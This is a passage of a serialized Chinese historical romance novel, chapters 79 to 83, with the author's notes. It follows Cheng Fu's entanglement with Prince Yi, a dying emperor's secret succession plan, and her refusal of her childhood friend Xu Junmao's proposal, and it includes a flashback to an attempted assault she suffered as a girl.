可他一想到自己都没有好好在乎她,保护她,心脏一霎揪成了团,裂开道道细纹,越来越疼。 在她最无助的时候,他没有保护她,却在她过上了好日子后强吻她,把她吓坏了…… 他对付氏牵了牵嘴角,要笑不笑的表情十分古怪。 “说实话,到现在我也弄不懂你为何讨厌阿芙,可你分明没什么恶意。不过处不来的人倒也不必硬处,我觉得她不会再打扰你。” 凌云眼睫微晃,嘴唇嚅了嚅,沉默良久,才起身道:“大娘远道而来极是辛苦,且让下人服侍你歇息。请留步,我回衙门。” 当了大官的人公务定然繁忙,付氏遂与他作辞,正好她也乏了,是得好好睡个觉。 …… 程芙在镜湖的船上用过晚膳,又去漪碧园观赏崔令瞻养的鱼,未料遇到了他的爱猫——乌金姑。 他竟不远千里把一只猫儿带回京师。 崔令瞻熟稔地抱起高冷的乌金姑,挠挠它脑袋,对程芙道:“不止有乌金姑,还有我们的乌月,要不要骑回家?” “养不起,你留着吧。”程芙盯着青瓷大缸里游来游去的鱼儿,“咱俩今日不仅见面还一起用膳,这个月可不可以不要再来烦我?” 崔令瞻摇摇头,“我尽量。” 程芙抬眸看他,“……” “我不想被芙娘遗忘。 他对她的喜欢是浓郁的,且不断酝酿,一日日加深,而她对他的那点“好感”让人好没安全感,仿佛只要稍不留神,就会淡了,遗忘了。 他不怕被她讨厌,却怕遗忘。 “芙娘,遇到你那年我二十,从未与姑娘相处过,可是现在我二十二了,已经知道如何呵护你。” “……”程芙忍不住提醒他,“你莫不是忘了刚刚在船上威胁过我?” “谁叫你要给我扎-绿-头巾!那我也不能任何事都惯着你,涉及原则就不行。” “送我回家。” “行。” 回去的路上程芙做好了被他欺负的准备,谁知崔令瞻只是揽着她肩膀,还说起了正事。 “如今你已在太医署站稳脚跟,有没有想过将令慈的坟茔迁回京师。” 清安县既没有亲人,也没有值得的回忆,站在柳家母女的角度考虑,崔令瞻想不到任何留在那里的理由。 没想到尊贵的毅王突然纡尊降贵,关心平民百姓的事,程芙略略愕然,而后淡淡道:“我和姨母已经在找镖局和风水先生。” 风水先生勘定吉日,镖局负责押送棺椁,只待敲定下来,姨甥二人便一齐回清安县接柳余烟“搬家”。 “路途遥远,便是正经镖局护送,此行也不方便,二十几名陌生的壮汉,日夜守在你周围,你不害怕?” 当然怕,可那是正经的大镖局,不至于吧……程芙咽了咽,慢慢道:“我虽貌美,可也没到令人丧失心智的地步。” “然而人心险恶,一旦路上出点意外,叫天天不应,谁说得清?” 防人之心不可无。 “交给我,我来安排人。”崔令瞻道,“当然你也可以继续做犟种,拒绝我,在我跟前逞能,拿自己生母的遗骨冒险,以此维护莫名其妙的自尊心。” “我没那么想。” “嗯,果然是我的好姑娘。”崔令瞻亲亲她,“你要是真讨厌我就得这么整我,合理利用我,把我支使得团团转,难死我。让我把你当年受到的憋屈也经历一遍。” “我不信世上存在难倒毅王的事。” “还真有不少。”崔令瞻笑道,“比如芙娘,是我一生的难题。” 程芙垂下脸,他也俯身,歪着头覆盖了她热乎乎的樱唇—— 作者有话说:一到收尾阶段要仔细地圆,慢慢地收,就突然写不出大肥章了[小丑] 第80章 程芙心头一跳, 便被熟悉的气息堵住。 不是很用力,耐心地轻柔地擦着她的唇瓣,即便含住了也不野蛮, 只让她感觉痒痒的, 热热的, 待她稍稍适应了他的“冒犯”, 且没有表现出强烈的抵触,他才开始打开她的牙关, 唇舌纠缠。 可如此亲吻的姿势十分不便。 程芙从恍惚中惊醒,发现身子一轻, 整个人被抱起落进了他怀中, 她忙去推他肩膀,“不行,头发乱了我还如何见人?” “我有数……” “真的不行, 万一被看出……”她闭着眼摇摇头。 “让我看看你说的是不是真心话……” “崔令瞻,你……”她用力咬了一下他肩膀。 这样的警告并不能吓退满眼都是她的他。 他安抚地亲亲她的额头和鼻尖,“让我看看……你害羞的样子真漂亮,你可真漂亮。”他双手捧着她的脸颊,沿着她的耳垂一路亲到了香腮,一手固定还在微弱挣扎的人,一手扣住她的后脑勺, 再次深深噙住她的唇。(审核老师, 此处上下是感情流男女正常接吻,请不要多想) 她心脏战栗得厉害,面如红霞,心绪在巨大的恐慌与汹涌的潮汐中左右冲突,意飞魄散。 片刻之后, 他才松开,紧紧拥着怀中微喘的人,笑道:“口是心非。” 回答他的是一巴掌,可那巴掌早就脱力成了泥,便是贴上他脸颊也起不到任何威慑的作用。 马车在春夜里行得很慢,晚风送来了浓郁的蔷薇花香。 两个人在车厢待了许久,直到崔令瞻吻干她额头的香汗,粉腮的泪珠,柔声细语轻哄着,才让她消了气。 他垂眸望着眼前的小脸,微微肿的红唇,问:“人生苦短,为何要跟自己的意愿作对呢?” 程芙回过神,忙推开他,坐到了对面,飞快地整理自己。 许久之后,她才轻声问:“你这么会服侍人,真是一点尊严都不要吗?” “若与你都要讲尊严,如何才能令你心甘情愿跟我在一起?” “……” “我知道芙娘不是讨厌我,也不是不愿选择我,而是讨厌被迫选择我。”他难过地执起她的手,“太难了,你真是我的难题。” 这是一个敢于做任何选择的姑娘,却不接受被支配的选择。 保和殿内荣恩宴,按照惯例皇帝并不会亲临,反倒令读卷官和进士才子们更加放松,席间美酒佳肴,歌舞醉人。 觥筹交错间,初涉官场的人依序报上恩师名讳,互相恭维,结交上官。 盛宴将阑,宫人奉皇上口谕传旨一甲才子,三人在众人艳羡的目光中提前离席,前去觐见景暄帝。 徐峻茂乃今年才子中字迹最为出色之人,所以景暄帝对他格外关注了一些,主要是年轻,这个年纪就崭露头角,未尝不是好事。 年轻人有缺点,可优点也同样鲜明,敢说一些老家伙关注不到或者不屑关注的真话。 比如他敢指出工部营造司失职,把偷工减料用在了贡院,致使为君王效命的学子厄运连连,甚至要冒着生命危险才能将满腹才华书写,严重违背了朝廷选拔人才的初衷。 本末倒置。 其实这个问题工部楼尚书曾大力整治过,稍有改善却未除根。 当然不止是偷工减料的问题,还有种种不合理的迂腐制度。 条条框框,以及解决的法子,徐峻茂一一在列。 他是真敢说。 这么敢说的下场要么被皇帝痛骂要么金榜题名。 他运气好,忠言进了皇帝心坎,字体又婉丽不失大气,瞬间就从众人中脱颖而出。 景暄帝淡笑,简单褒奖了三人几句,另有赏赐,三人立即跪地谢恩。 当晚,景暄帝去了宠妃的宫中留宿。年纪越来越大,又被酒色和丹药掏空多年的男人,对女人的兴趣其实并没那么大,之所以养这么一大群的女人主要图个新鲜。 住着年轻少女的宫殿空气都是清新的,跟她们躺在一起,次早醒来仿佛都被注入了生命力。 但房帏不行直接导致受孕的妃嫔逐渐稀少,怀上的又因为这样那样的原因没了。 自从太子被软禁,另外两名皇子的生母霎时活跃起来,在宫中上蹿下跳,景暄帝厌恶她们着急的嘴脸,这是盼着他驾崩吗? 一旦多思多想免不了动气,景暄帝才驾临宠妃宫殿,一口老血喷了出来,阖宫上下惊呼连连,人群分成了三拨,一拨召御医、一拨把皇帝抬上龙床、另一波则去咸凤宫请皇后主持大局。 宠妃不过才十六七岁的年纪,没经过这么大的事,也不敢私自做主,唯一能想到的人就是皇后娘娘。 苍穹下的宫殿经过了一番人荒马乱,直至二更天,景暄帝才在养心殿悠悠转醒。 偌大的寝宫一半明亮一半昏暗,昏暗之处灯影憧憧,烟罗轻纱投在墙上,朦朦胧胧,照得幔帐内正襟危坐的人影沉寂端庄 他睁开浑浊的眼皮,映入眼帘的是最熟悉的人——素来没什么存在感,但一遇到事儿总能稳住大局的皇后。 有她在,他是放一百个心。 他和皇后夫妻情分寡淡,可也全然不是外界传闻的那样交恶,事实上感情还挺好的,不拘什么情,亲情也好友情也罢,总之他们就是世上拴在一起最牢固的伙伴,后来邱贵妃出现,才慢慢有了裂痕,但远不到仇恨的地步。 “皇上醒了,宣御医。”皇后道。 发现他转醒的第一时间是宣御医,合情合理,但她始终没有靠近他,更没有关怀地看一看他的病容。 景暄帝叹了口气,手从被窝里伸出,颤颤地朝着她,“皇后。” “臣妾在。”皇后温和地伸手,与他握了握,“皇上不必担忧,御医说您只是积劳成疾,仔细休养几日便可痊愈。” 有魏宪和阿诺批阅奏折,朝纲乱不了。 景暄帝只是握着她的手,没说话,轻轻点了点头。 汤御医本就宿在偏殿当值,闻召立即赶来为景暄帝请平安脉。 众人竖着耳朵听御医解答脉象,脉象应该没有大碍,主要是听不太懂。 汤御医抬起眼帘,视线飞快地与皇后碰了一眼,复又垂下。 皇后便不再多问,叮嘱道:“不管多贵重多稀有的药材都可以,只要能让皇上尽快痊愈。” “微臣遵旨。” 汤御医低眉敛目告退,亲自为皇上配药熬药,魏宪自然跟过去,另有宫女内侍若干,也都过去帮忙。 寝殿瞬间就像是被抽干了,变得空旷变得安静。 皇后抽出被景暄帝握着的手,而后仔细为他掖了掖被角,柔声道:“臣妾就在这里陪着您,皇上安心休息。” 景暄帝感觉自己的生命力在一点一点减弱,并不完全相信御医所言。因为越是不容乐观,御医就会把话说得越让人听不懂,毕竟谁也不敢对着皇帝说你要死了。 大限将至,他居然变得格外冷静,实在是这一生享尽了山珍海味、绫罗绸缎、权势美人,临了了居然没那么慌张。 但他还有许多事不能放下。 每个人到了这种时候都很难放下,哪怕是皇帝都不例外,他微微张开嘴,费力地说着什么。 皇后领悟了他的意图,终于肯弯下腰,将一侧耳朵慢慢靠近,倾听,冰冷的耳坠也打在了他的鼻梁。 “皇上有话慢慢说,臣妾听着。”她安抚他。 景暄帝:“朕知道这些年因为邱贵妃,你不痛快,朕也想补偿你个孩子,但别人生的你又不要。” 至于是真不要还是假不要唯有皇后自己最清楚。 或许瞧不上生母低贱的平庸皇子,或许去母留子的残忍方式有伤天和。 谁知道呢。 “臣妾不敢。”皇后淡淡道,“臣妾这一生什么好的都享用过,君临天下的丈夫,后宫独一无二的尊位,大昭最华丽的宫殿,无数的珍宝黄金,早死的爹,荣养的娘,臣妾不需要您的同情,臣妾这一生足够无数女人羡慕到流泪。” “可朕要死了。”景暄帝幽幽叹了口气,“你身子骨好,少说还能活二三十年,肯定是一天苦日子也过不下去。” 皇后也叹气,“二三十年,其实很短的,忍忍也就过去。” “朕不信你忍得住。”景暄帝被她逗笑,猛然咳嗽了一阵,皇后忙倒了一碗温热的泉水,服侍他饮下,他才逐渐缓过来,继续道,“朕跟你说个秘密。” 皇后:“……” 他的声音浑浊沙哑,气息微弱,却还是努力让她听清了一些,“太和殿正殿的匾额后,有朕的亲笔遗旨……” 声音越来越小,却每一个字都深深震撼了皇后,她惊讶地看向他。 景暄帝拍拍她的手,“安心吧,他可以的。本想再给他多铺铺路,可惜时日无多。朕相信他能坐稳咱们崔氏的江山。” “您……为何不直接下旨册封?” 这个问题让油尽灯枯的帝王眸中精光一闪,灼灼生辉,皇后看到了这个男人最后一道帝王心计。 “废掉太子另封他人固然容易,然而太子已有嫡子、庶子,将来阿诺难免要落下一个名不正言不顺继承大统的诟病。” 景暄帝要用太子的一切为王朝最完美的继承人铺路。 皇后感到阵阵发寒,下一瞬却又不得不承认景暄帝的深谋远略,这确实是大昭最好的结局。 对骨肉至亲冷血的帝王,待他的江山依然热忱。 而邱家的结局配得上他们积攒的罪孽。 当然,事无绝对。倘若太子和邱贵妃已忏悔已真心改过,那么太子的嫡长子将以皇太孙的身份名正言顺登基。 只是这个可能性微乎其微。 毕竟谁当皇上都不如自己当啊,崔逞乾怎甘愿失去继承的资格。而此时恰恰有人告密:皇上即将废了他。 次日三月十二,程芙照常上衙。 皇帝昨夜病危之事被捂得严严实实,至少在太医署的程芙没听见半分不对劲。 在家试穿正七品翰林院编修官袍的徐峻茂也一无所知。 两个年轻的人尚不知马上就要改朝换代。 双槐胡同齐主事一家人逢喜事精神爽,不仅大摆流水席,更设宴款待左邻右舍,自然也得邀请柳余琴。 柳余琴没去,但命人送了一份厚礼。 徐氏心里不高兴,可也实实在在松了口气。 自从得知柳家和哥哥的嫌隙,哪里还好意思结交,柳余琴不愿来往,她求之不得,无奈架不住自家的侄儿一根筋,看上谁不好竟看上了小寡妇程太医。 她是管也不是,不管也不是。 唯有写信给清安县的哥哥求助。 徐峻茂盼星星盼月亮,终于盼到了芙妹妹休沐,约好一起逛福隆寺。 这日恰巧也是福隆寺庙会,人潮如织,徐峻茂在茶楼包了个好位置—— 作者有话说:谢谢大家支持,今天终于提前码出来了[抱抱]《 》 80-88 第81章 徐峻茂坐在明亮的窗前, 不多会儿,程芙带着小桃也出现了,她来得并不迟, 反倒是他提前了半炷香守候在此。 从她出现, 他的眼睛就没移开过。 芙妹妹像一幅画, 画在春日里, 眉如远山青黛,眼似两泓清泉, 漆黑的头发高高挽起,露出雪白的颈项, 仿佛洁白的生绢泼的墨。 少年的眼神虽炽烈却明澈干净, 毫无攻击性,任何姑娘坐在他身边都不会害怕。程芙也不例外,走上前与他相互见礼, 拂裙而坐。 “我去澹州找过你,后又辗转去了燕阳。”徐峻茂微微抿唇,自责道,“可是我没有能力带你走,眼睁睁看你在王府受那禽兽霸占。” 从那时起,他就发誓要像男子汉一样对芙妹妹的一生负责。 “你已经尽力。”程芙说,“再说胳膊本来就拧不过大腿, 如今……如今你也看到了, 我过得还不错,从前的事只当被狗咬了一口。” 他抬眸,视线很难不关注她的妇人发髻,复又缓缓垂下,“毅王竟如此薄情狠毒。” 先是百般阻挠他们相见, 转头就把她嫁给短命鬼!自己不要的,宁可丢进沟渠也不肯将明珠归还有情人。 “其实……我并未成亲,不过也没多大差别。” 她早已看开,根本不在乎男人的想法,“反正就是个身份,还能省去不少麻烦。” 时下没娶过妻的男子基本不会考虑寡妇,一则有克夫之嫌,二则身子“不干净”。 如此一来倒帮她省去了诸多麻烦。 果真?徐峻茂一扫忧伤,眉眼绽放亮亮的喜色。 他开心不是因为芙妹妹干不干净,只是单纯地为她少受过一次伤害而开心。 程芙含笑点点头。 两年的时光说长其实也没那么长,况且青梅竹马知根知底,一顿早茶吃完,氛围极好,彼此全无隔阂。 天越亮庙会越热闹,徐峻茂陪程芙去福隆寺还愿。 “许过什么愿?”他问。 “祈求你金榜题名。”程芙说,“没想到佛祖不仅应允了我,还让你高中探花。” 徐峻茂心尖儿似是被烫了一下,嘴角忍不住上扬,偏头看她,“我也在佛祖跟前许过愿,愿芙妹妹功成名就,将来变成了不起的御医。” 她仰脸看他,相视一笑。 弯弯的笑那么甜,像樱桃上的蜂蜜,徐峻茂痴痴望着她。 十几岁的年轻人,都生得昳丽仙姿,甫一迈进大雄宝殿,仿佛菩萨坐下的金童玉女下凡,引来不少惊艳目光。 两人诚挚地进香,程芙叩完首,又去功德箱捐了一两香火钱,徐峻茂也投了一两,旁边的和尚立即双手合十念佛偈,称施主功德无量。 为表谢意,他还特特给二人抽了一签,曰:儿孙满堂,福寿绵延。 “二位面相一看就是大富大贵之人,若还未有子,明年必定麒麟登门。” 徐峻茂和程芙的脸颊同时红透,张张嘴,唯恐越描越黑,干脆匆忙辞别,狼狈地离开了大殿。 两人走在古木参天的寺院小道上,都因为尴尬变得沉默。 徐峻茂主动打破僵局,笑问她:“福袋呢,我怎没收到?” “嗯?”程芙没解过来。 “不是说曾为我祈愿金榜题名?” 她为难道:“我怕引起误会,没敢送与你。反正已经有了最好的结果,不用拘泥形式。” “那不行,那是我的福袋,找个机会还给我。” “行吧。” 三月桃李争春,春风温柔,阳光也温柔,两人沿着浅浅的小溪在开了桃花的后山散步,徐峻茂轻抚程芙手臂登上石阶,与她来到红檐凉亭,远眺怡人的春景。 有卖花姑娘路过,嗓音清脆甜美,徐峻茂喊住她,回首对程芙道:“稍等我一下。” 他轻提衣摆噔噔噔走下石阶,挑了一枝修剪欹疏,别有意境的桃花和茉莉手串,而后匆匆折回,目光始终望着蜿蜒石阶尽头的她。 “芙妹妹,给你。” “没想到京师的火室如此普遍,这个季节已经有了茉莉手串。”程芙惊叹,转而又道,“一定不便宜,又戴不了两天,以后不许如此破费。” “不是很贵,鲜花而已。” 他垂着眼为她戴上茉莉手串,纯白色的香花与她泛着粉的晶莹肌肤相映,也映着肌肤之下淡淡的蓝青色脉络,美到令人心颤。 程芙抬起腕子轻嗅,真好闻。 “芙妹妹。” “嗯?”她慢慢仰脸直视他。 他望着她,眼睛里的光变得郑重,敛去了笑意和任何可能显得不够谨慎的情绪,轻轻问她:“你信不信我会永远待你好?” 她嗫嚅道:“我……信。” “曾经我胸无大志,只想与你不分离。我背着你苦苦哀求爹娘,求他们将你许我为妾,哪怕要读书考取功名。” “我本不在乎功名,但考中就能永远拥有你,那念书于我来说便是天底下顶顶重要之事。而你,得知将来要给我做妾,非但不介意还越来越粘我,那时我特别得意。” 想起他们的曾经,何尝不是没那么强硬的毅王与她,徐峻茂眸光微微湿润了,“直到发现你落进毅王手心,被他玷-污,我突然就开了窍,我觉得你不开心,你一点也不开心……” 芙妹妹怎甘心为妾呢?她只是没有更好的选择,只是怕拒绝他后再也没有人保护她,只是比起他……她更惧怕不拿她当人的大哥。 否则以她的美貌,仅需稍稍弯下脊梁骨,就不可能在毅王府是个通房丫头,一直无名无分,没过多久惨遭抛弃,可见有多不屑讨毅王欢心。 “芙妹妹。”他的声音微微发抖,“你……可还记得当初的誓言?” 程芙怔了怔,唇瓣轻轻翕张,没有否认,只是愣愣地伫立原地。 在徐峻茂的提醒下,三年前的回忆扑面涌来。 大少爷的身上好臭啊,酒臭味,汗臭味,趁徐峻茂不在,立刻黏上来,张开手臂拦住她去路,还狠狠捏了把她的臀,屈辱、疼痛,她第一次想杀人。 “好个没心肝的,你能伺候阿茂为何不能伺候我?”他笑呵呵揪住程芙的耳朵,用里一拧,“没个眼力见的小乞丐,再嚷嚷信不信给你耳朵揪下来。” 才刚及笄一天的她痛得呜呜哭,大声道:“我不是乞丐。” “哈哈哈。”大少爷被她天真的反驳逗笑了,“你不是个锤子!这里谁不知道你和你娘都是臭乞丐?特别是你娘,吃我爹的用我爹的,还不肯给我爹做妾,下人给她脸面才称呼一声柳姨娘,其实她就是个屁。别以为我不知我爹根本没给你娘改册籍,你们娘俩就是来我家打秋风的臭乞丐。” “我娘不是乞丐,她不是,是徐知县扣留了我们。”她痛苦地捂着自己的耳朵。 “还敢顶嘴,我今儿非弄死你不可。” “救命——救命——” “闭嘴啊臭丫头。”他死死捂住了程芙的嘴。 两名婆子听见动静探头望了望,程芙疯狂扭动四肢,隔空朝着她们的方向努力抓着,她们缩回头,离开了。 大少爷嘿嘿笑:“真带劲,这么点大的小东西,力气还不小。” 程芙奋力扑腾,面如金纸。 大少爷收回捂嘴的手,改掐住她双臂,继续辱骂:“你娘就是天底下最无耻的乞丐,勾引我爹又不肯服侍我爹,害我娘天天哭,幸好被老天爷收走了,却留下你这个小拖油瓶,天天在我家里蹭饭,爷不介意养你,可你不懂感恩,见到爷就跑,实在是没礼数。” “我没有白吃饭,我每天都做工。”程芙凄厉喊道,“是你们,你们不给我回家,我要回家找我姨母。” “你做梦!”大少爷掐着她脖子,将她拖进附近的假山洞,厉声恫吓:“闭嘴!你他娘的再乱喊我就掐死你。” 那天,她第一次经历这种恐怖的事,被吓个不轻,又因咬伤了大少爷的手,被他一巴掌打飞,脸颊当场高高肿起。 她觉得自己快要死了,躺在地上一动不动,目不斜视盯着扑过来的大少爷。 是徐峻茂冲进来,揪着大少爷的衣领子,对着他腹部就是一拳,大少爷当即惨叫,痛得蜷缩在地,接下来又吃到了雨点般的拳打脚踢。 晕死前,大少爷从喉咙里挤出破碎的声音:“你,你疯了……我是你亲哥哥……” “谁叫你动她,谁叫你动她?!” 徐峻茂一拳又一拳,下了死力气,以至手骨轻微骨折,可想而知挨打之人的伤有多严重。 程芙的脸颊肿得厉害,张不开嘴,徐峻茂将她搂进怀中,安慰她:“不要怕,没事了,交给我处理,我不叫任何人欺负你。” 她大声哽咽,反手环住他,把完好的一侧脸颊猛力挤在他胸膛,挤得发疼,大颗大颗的泪珠不断往下滚。 没有他,她就是一只谁都能踩一脚的蝼蚁。 劫后余生,她死死抱住唯一的救命稻草。 其实人下意识最能分辨谁对自己好,谁对自己不好,徐峻茂对她好,至少他不舍得打她骂她,还处处照顾她。 从那之后,她与他形影不离。 他偶尔揉揉她脑袋,牵牵她的小手,她也不反抗,做好了先做他的通房丫头,之后再偷些钱跑路的准备。 谁知徐峻茂十分害羞,连当着她的面更衣都不肯,更别提行房了。 后来经过了香榴一事,他问她愿不愿做他的妾? 当然愿意啊,她连滚带爬地同意。 因为在她眼里做妾和做通房没差,反而做妾更有利于搞钱,积累跑路的盘缠。 为了达到目的,那段时间她温柔小意,使劲手段哄徐峻茂,还偷了他的玉笔,打算卖点银钱,谁知逃跑那日仓惶至极,根本来不及打包细软。 如今他问她是否记得当年的誓言,她无言以对,动也不动僵立原地。 凝滞了良久,她茫然回答:“记得。” 听见她的答案,徐峻茂微微愕然,而后笑了,揉揉她额头,温声柔语,低低地说:“我们成亲吧,我将视芙妹妹如明珠,一生一世一双人。” 程芙:“……” “我没有冲动,我已深思熟虑过。我有说服爹娘的办法,有娇养你的信心。包括婚后的问题,我也想到了,我爹娘不可能离开清安县,等他们老了,不能自理,我便接他们回京,去田庄养老。我自己尽孝,无需你操持,不叫你想起任何不开心的回忆。” “阿茂……”她的双手拢在袖中,攥了攥,“傻瓜。” “嗯,我是傻瓜。” “我,我偷了你心爱的玉笔。” “没有偷,后来我找到了。” 程芙低头用袖子擦眼睛—— 作者有话说:求营养液,月底啦,再不用就快过期咯[狗头叼玫瑰][狗头叼玫瑰] 第82章 徐峻茂用柔软的棉帕子一点一点擦拭程芙的脸庞, 这个姑娘因他的索取进退两难。 他让她为难了。 “芙妹妹,可能我没表达清楚,我说出来不是为了逼迫你答应, 你可以不回答, 也可以抱着试试看的态度与我相处一段时间再回答。”他说不出“不答应也可以”这句话。 程芙吸了吸小巧的鼻管, 摇摇头, “你明明清楚我的过去……” “我若在乎你的过去便也不会站在这里。” “阿茂,可我在乎。我没办法忘记阿娘的死和屈辱。”她握住他攥紧棉帕的手, 泪珠滴落他虎口,“我恨徐知县夫妇, 那不是老死不相往来就能解决的。若我成了你们徐家妇, 我还有何颜面见阿娘……” 倘若他不姓徐,不是仇人的亲生骨肉,他一定是这世上最完美的夫君, 与这样的人相互扶持,平平安安过完一生,该多温馨。 然而她没有资格替阿娘说原谅。 更无法面对未来的关系。 哪怕不与徐家人见面也改变不了的关系。 公爹欺辱过阿娘,婆母掌掴过阿娘,要如何……她要如何才能心安理得在这段关系里享受阿茂给予的幸福? 徐峻茂反手握住了她,声音里几乎透着哀求,“芙妹妹……” “哪有儿媳不与婆家来往的道理?等他们老了, 我若不闻不问, 以你我的身份迟早会出事,你不在乎仕途了吗?阿茂,光阴是把刀,没有人知道未来会不会面目全非,我赌不起, 也不敢赌。” 她没敢说如若有机会就一定会报复徐知县。 在这样复杂畸形的关系中结合,她与阿茂注定不长久。 他望着她,无声地痛苦。 道理都懂,只是无法接受,不想面对。 程芙此时才发现握住他的那只手不知何时已经被他反握住,那么用力,甚至有一点儿疼,可她不在乎,一眨不眨望着他,眼瞳晃动,道:“不管你信不信,我从未怪过你,可我……可我永远不可能原谅他们,也不能只图自己快活,一时的快活。” 两个人执手泪眼相对,一切尽在不言中。 这样的忧伤使得程芙直到第二日还未完全摆脱郁郁寡欢的阴云。 连一向洒脱的姨母都犯了难。 傍晚时分,姨甥二人相聚,柳余琴轻叹,拍拍伏在自己膝上的程芙肩膀,道:“这样也好。不然毅王那边也不好交代,你俩就没真正断过,没必要再让徐峻茂入局,万一出了事,你此生反倒更难安。” “我知道。”程芙说,“我没有答应他,也跟他说了毅王的事。” “他是什么反应?” “他没说话,在亭中坐了许久,那表情我形容不出来,我看了一眼,没敢看第二眼。” 柳余琴抬起眼帘,窗外夕阳慢慢沉下去,天黑了。 其实徐峻茂各方面都挑不出错,甚至极其优秀,关键还前途无量,正常来说这样全乎的少年人,配阿芙绰绰有余,说句不好听的,阿芙可能还配不上他,然而他姓徐,这是个死结,注定他们这辈子就没法过好。 他觉得父母和妻子不见面就能破局,实则还是太想当然了。 殊不知父母可能因一时的情势应允他,却未必甘愿一辈子应允他,就算一辈子应允也堵不住悠悠众口,早晚得出事。 倘若他上面有几个哥哥,或许还真有可能,然而他现在是徐知县唯一的儿子,所要承担的责任岂是一两句话便说得清? 再恩爱的两个人,在这种畸形的亲缘关系中,都不可能长久 。 当然,还有更重要的一点,也是柳余琴一直想提醒程芙的一点。 她低头看着阿芙的发顶,慢慢道:“阿芙,姨母希望你永远把自己放在第一位,莫要混淆了感情,将来伤人伤己。纵使救命之恩,报恩的方式也不止以身相许这一条路。” 说得已经很直白,不难听懂。 程芙抬脸,怔怔望着姨母,好一会才点点头,低声道:“我明白。正是为了不伤害他,我才把话说得那么死,但每一句话都是真诚的,我想他也理解我,只是暂时没法让自己不那么难过……” “嗯,这便好。”柳余琴欣慰地弯了弯唇,“长痛不如短痛,有时优柔寡断才是伤人。” 米嫂子走进来,笑吟吟问主家:“太太、奶奶,晚食已烧好,现在能不能摆桌?” “摆吧。” “是。”米嫂子微微欠身离开了东次间。 不多会儿,小桃和冬芹就帮米嫂子布置好了西次间的饭桌,把饭盛上才对柳余琴和程芙道:“太太、奶奶慢用。” “嗯,你们也快些用饭去。”柳余琴道。 程芙的视线被一桌子河鲜海鲜定住,少顷,瞠目看向柳余琴。 除了那盘青菜炒香菇,余下的每一盘都不可能出现在寻常人家的餐桌。 “是不是很贵?”柳余有些担忧,斟酌道,“送来时我们都不肯要,但人家根本不听咱们的,进到厨房就开始忙活。我过去一瞅,五花八门的食材,大多数我也不认识,感觉都不便宜,扔也不是,不扔也不是。想到浪费食物总归不该,那就吃了吧……” 她压根就没往御用那方面想。 当然米嫂子等人认识的也不多,好在不需要她费心,温在灶上即可,唯一需要动手的便是清蒸鲥鱼,算着时辰揭开锅盖。 完全没有难度,更何况米嫂子本身就有基础。 所以大家轻轻松松“整治”了一桌时令河鲜海鲜。 程芙几乎不用脑子就猜到是崔令瞻送的。 全都是她喜欢的。 葱油蛏子、炖鳝鱼,韭菜炒柔鱼(鱿鱼,俗称海兔)、糯米八宝鸭,海鲜粉丝煲鲍鱼…… 尤其中间那盘体型肥美的鲥鱼,乃长江第一鲜,不知花费多少人力财力运输,才进贡到御膳房,以极致的鲜嫩出名,便是达官显贵也不一定有机会吃到,此刻却出现在了双槐胡同柳宅的餐桌…… 鲥鱼非常稀有,崔令瞻有资格吃,但对他来说也绝对是稀罕物。 在燕阳时,程芙也只吃过三次。 “姨母,这一桌抵上咱俩一年的嚼用了。”程芙涩然道,“尤其这道清蒸鲥鱼,仅供皇室宗亲。” 普通的皇室宗亲也不一定有资格吃。 柳余琴骇然道:“怪道这么宝贝,好大一只水缸,两个人抬进来的,里面还有两条。毅王怕你吃不够,吩咐一天蒸一条。” 刚好南面的贡品进京,皇后赏了毅王不少珍稀食材,其中包括六条鲥鱼,被毅王分成两份,一份给程芙,一份给自己的妹妹。 “……”程芙嘴唇嚅了嚅。 柳余琴颤抖着夹了一筷子,放入口中,脂香浓郁,肥而不腻,一种无法用言语来形容的鲜美在舌尖暴击,感觉天灵盖都要掀起来了,好吃得差点流下眼泪。 那一刻,她在心里暗暗地想,有没有哪个不讲究的王爷把她娶回家,时不时吃顿鲥鱼就好…… 程芙也是人,味觉不会比姨母差,吃下去时自然也知道好吃到流泪,所以晚上钻进被窝的时候,她真的流了眼泪,沿着太阳穴慢慢滑落。 他真的很讨厌,动不动就插手她的生活,可是没有他时,一切又会乱糟糟的。 此时那名把她平静生活搅和得乱糟糟的人正在家中养伤。 伤势已经好了大半,不过北镇抚司如今不太平,每天两党相争,大小内讧不断,凌云干脆躲在家中避风头。 付氏来京也有三日,她没有着急拜访程芙,而是先照顾受伤的凌云,等一切稳定下来,包括自己站稳脚跟,至少出门不抓瞎,再以老朋友的身份上门叙一下旧,也好省去阿芙为她操心。 “喝完汤,早些休息吧。”付氏亲自熬了添加百年老参的乳鸽汤,端去凌云书房。 凌云:“以后叫下人去做,你只管歇息。” “她们哪有我经验丰富,我好歹还是个医婆。” “有劳。”凌云双手接过,领了她好意,“我喝完便休息,您老也注意身体。” 付氏觉得他挺见外,直到看见他舀了一勺咽下去,露出了百分百好喝的神色,才笑道:“煲汤我可是有一手的,连阿芙喝了都佩服。” 虽然那段时间她很懒,总是阿芙忙前忙后,但她也会小露一手,煲个汤,令阿芙惊艳不已。 凌云搅着汤盅的瓷勺一霎缓了下去,一圈一圈地划着,心不在焉,突然喊住正欲离开的付氏,“大娘。” “何事?” “莫在阿芙跟前乱说话了,咳咳,至少也不该说我把钱都花在花魁身上,终日厮混,穷得叮当响。” 啊?你都知道了!付氏老脸一红,抄着手,支支吾吾道:“嗐,谁知道你在京师还有大府邸,还突然升了官,藏这么深啊……当初我那不是着急嘛,我可急了,眼睁睁看你在万春阁鬼混,一打听,好家伙,那一晚的价钱,光靠你那点俸禄哪里够!” “那也不能在她跟前说这些,她都当了真。” “此事确实怪我。”付氏赔笑道,“莫慌哈,待我找个合适的时机,绝对帮你圆回来。” 她眼珠子一转,“我就跟她说你阔气着呢,一个花魁算什么,再养十个都是手拿把掐。好叫她知道,咱们仨,你是这个,老大。” 她竖着大拇指。 凌云:“……?” “您老要实在不会说话就别说了吧。”他觉得将将恢复元气的身子又虚了,眼前一道道黑线。 但是他又难以启齿自己老大年纪还是个雏儿,可不说出来似乎更严重,至少阿芙很嫌弃的,唯恐他有什么不干净的病症。 想到这里,他多少有些委屈,当初可是她先强夺他的初吻,他不仅没有大喊大叫,更没有咬她,还殷勤地帮她跑前跑后,她呢,是怎么待他的?一点亏也吃不得,又抓又咬,还要阉了他…… 委实坏透了。 没有良心的坏女人—— 作者有话说:好多营养液,谢谢谢谢,呜呜呜[爆哭] 第83章 “话说你是怎么惹了一身伤?”付氏疑惑多日, 话赶话,顺便问了一嘴。 不问还好,这一问, 凌云的脸色竟肉眼可见黑压压堆满了乌云。 沉默了许久, 久到付氏的表情尴尬地僵在了嘴角, 